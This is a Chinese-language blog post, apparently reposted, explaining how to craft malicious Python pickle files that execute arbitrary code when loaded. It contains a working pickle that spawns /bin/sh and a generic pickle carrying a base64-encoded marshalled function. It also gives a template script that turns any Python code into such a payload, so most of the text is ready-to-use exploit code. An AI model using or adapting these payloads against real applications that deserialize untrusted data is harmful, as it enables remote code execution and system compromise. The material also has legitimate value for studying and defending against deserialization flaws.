您的位置:首页 > 编程语言 > Python开发

利用Python pickle实现任意代码执行

2016-10-01 19:35 603 查看
大量实践证明构建恶意的pickle非常容易,而对恶意pickle进行unpickle操作将可能会产生一个shell,甚至是一个远程shell。所以,本文中将向大家介绍如何利用Python pickle进行任意代码执行操作。0×00 Python pickle禁忌对于不是自己从已知数据中创建的Python pickle,不要对其进行unpickle操作,这是老生常谈的话题了。同时,pickle模块的Python文档中清晰地陈述道:
警告:对于错误的或恶意构造的数据来说,pickle模块并不能保证是安全的。绝对不要unpickle从不可信的或未经身份验证的信息源接收到的数据。
Nelson Elhage演示了通过使用subprocess.Popen来获取一个远程shell的简单过程。Marco Slaviero展示了如何构建各种标准的shellcode,包括绑定和连接shellcode,但这些基本上是不可读的,并且在pickle中编程只是无意义的娱乐消遣,甚至是完全没必要的,这一点我将在后文中展示。0×01 pickle举例首先,我们以Python pickle shellcode的canonical开始,我将其保存为canonical.pickle。
# canonical.picklecos
system(S'/bin/sh'tR.
接着,我们试着解包这个pickle,看看会产生什么结果。
>>> import pickle>>> pickle.load(open('canonical.pickle'))sh-3.2$
0×02 pickle简介Pickle是一种堆栈语言,这意味着pickle指令将数据压入堆栈或者将数据弹出堆栈,并以某种方式操作它。为了理解canonical pickle是如何工作的,我们只需要理解6条pickle指令:
1、c:读取新的一行作为模块名module,读取下一行作为对象名object,然后将module.object压入到堆栈中。
2、(:将一个标记对象插入到堆栈中。为了实现我们的目的,该指令会与t搭配使用,以产生一个元组。
3、t:从堆栈中弹出对象,直到一个“(”被弹出,并创建一个包含弹出对象(除了“(”)的元组对象,并且这些对象的顺序必须跟它们压入堆栈时的顺序一致。然后,该元组被压入到堆栈中。
4、S:读取引号中的字符串直到换行符处,然后将它压入堆栈。
5、R:将一个元组和一个可调用对象弹出堆栈,然后以该元组作为参数调用该可调用的对象,最后将结果压入到堆栈中。
6、.:结束pickle。
为了执行任意Python代码,以上指令是我们需要掌握的所有指令。0×03 代码分析接着,看一下canonical pickle shellcode。我们看到,内建函数os.system首先被压入了堆栈中。接着,一个标记对象和字符串“/bin/sh”也被压入堆栈。指令t产生了一个只包含1个元素的元组(’/bin/sh’,)。此时,堆栈中包含了两个元素:os.system和(’/bin/sh’,)。指令R将以上两个元素都弹出堆栈,并调用os.system(‘/bin/sh’),然后将执行结果(shell返回值)压入堆栈中。为了执行任意python代码,我们希望能够pickle代码。然而,这并不能行得通。不过幸运的是,Python 2.6之后的版本中包含了一个marshal模块,利用该模块就能对代码进行序列化操作。我们的基本任务是编写任意代码作为一个Python函数,对该函数进行marshal操作,并以base64方式对其编码,然后将其插入到一个通用的pickle中,而在这里pickle将会对其进行解码、unmarshal操作,并调用这个函数。0×04 获取shell示例对于我们的任意计算,我们先慢慢地计算10阶斐波那契数,并将其打印出来,然后得到一个shell。
import marshalimport base64def foo():
import os
def fib(n):
if n <= 1:
return n
return fib(n-1) + fib(n-2)
print 'fib(10) =', fib(10)    os.system('/bin/sh')print base64.b64encode(marshal.dumps(foo.func_code))
注意,因为Python允许我们导入模块,以及在函数内部定义函数,所以我们可以在我们的foo函数中编写想要的任何代码。运行此代码生成以下内容:
YwAAAAABAAAAAgAAAAMAAABzOwAAAGQBAGQAAGwAAH0AAIcAAGYBAGQCAIYAAIkAAGQDAEeIAABkBACDAQBHSHwAAGoBAGQFAIMBAAFkAABTKAYAAABOaf////9jAQAAAAEAAAAEAAAAEwAAAHMsAAAAfAAAZAEAawEAchAAfAAAU4gAAHwAAGQBABiDAQCIAAB8AABkAgAYgwEAF1MoAwAAAE5pAQAAAGkCAAAAKAAAAAAoAQAAAHQBAAAAbigBAAAAdAMAAABmaWIoAAAAAHMEAAAAYS5weVIBAAAABgAAAHMGAAAAAAEMAQQBcwkAAABmaWIoMTApID1pCgAAAHMHAAAAL2Jpbi9zaCgCAAAAdAIAAABvc3QGAAAAc3lzdGVtKAEAAABSAgAAACgAAAAAKAEAAABSAQAAAHMEAAAAYS5weXQDAAAAZm9vBAAAAHMIAAAAAAEMAQ8EDwE=
0×05 创建通用pickle我们想要创建一个通用的pickle,这样我们可以向其中插入任意base64编码的函数并运行它们,比如上面编写的函数。从本质上讲,我们希望产生一个可以执行下面的Python代码的pickle,其中的code_enc就是我们编码后的函数。
(types.FunctionType(marshal.loads(base64.b64decode(code_enc)), globals(), ''))()
为了让其具有更好的可读性,调整其格式如下:
code_str = base64.b64decode(code_enc)code = marshal.loads(code_str)func = types.FunctionType(code, globals(), '')func()
接着,让我们一点一点构建这部分。为了调用base64.b64decode(code_enc),我们模仿前面用os.system做的操作。
cbase64
b64decode(S'YwAAA...'tR
我们可以以相同的方式将调用对象添加到marshal.loads中:
cmarshal
loads(cbase64 b64decode(S'YwAAA...'tRtR
通过使用__builtin__模块,可以以相同的方式调用函数globals:
c__builtin__
globals(tR
为了构建函数,我们可以将这些结合到一起,然后得到:
ctypesFunctionType(cmarshal
loads(cbase64 b64decode(S'YwAAA...'tRtRc__builtin__ globals(tRS''tR
最后,我们需要通过附加“(tR.”(其中句号结束了pickle)来调用堆栈顶部的函数。将这些片段组合在一起,我们就得到了一个通用的pickle。
# generic.picklectypesFunctionType(cmarshal
loads(cbase64
b64decode(S'YwAAAAABAAAAAgAAAAMAAABzOwAAAGQBAGQAAGwAAH0AAIcAAGYBAGQCAIYAAIkAAGQDAEeIAABkBACDAQBHSHwAAGoBAGQFAIMBAAFkAABTKAYAAABOaf////9jAQAAAAEAAAAEAAAAEwAAAHMsAAAAfAAAZAEAawEAchAAfAAAU4gAAHwAAGQBABiDAQCIAAB8AABkAgAYgwEAF1MoAwAAAE5pAQAAAGkCAAAAKAAAAAAoAQAAAHQBAAAAbigBAAAAdAMAAABmaWIoAAAAAHMEAAAAYS5weVIBAAAABgAAAHMGAAAAAAEMAQQBcwkAAABmaWIoMTApID1pCgAAAHMHAAAAL2Jpbi9zaCgCAAAAdAIAAABvc3QGAAAAc3lzdGVtKAEAAABSAgAAACgAAAAAKAEAAABSAQAAAHMEAAAAYS5weXQDAAAAZm9vBAAAAHMIAAAAAAEMAQ8EDwE='tRtRc__builtin__ globals(tRS''tR(tR.
>>> import pickle>>> pickle.load(open('generic.pickle'))fib(10) = 55sh-3.2$
0×06 模板代码另外,改变可执行代码仅仅需要改变foo函数,运行打印出marshal处理过和编码后的函数的Python程序,然后在替换generic.pickle中base64编码的字符串。下面是一个很方便的模板。
# template.pyimport marshalimport base64def foo():
pass # Your code here    print """ctypes
FunctionType
(cmarshal
loads
(cbase64
b64decode
(S'%s'tRtRc__builtin__
globals
(tRS''tR(tR.""" % base64.b64encode(marshal.dumps(foo.func_code))
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签:  漏洞 python 反序列化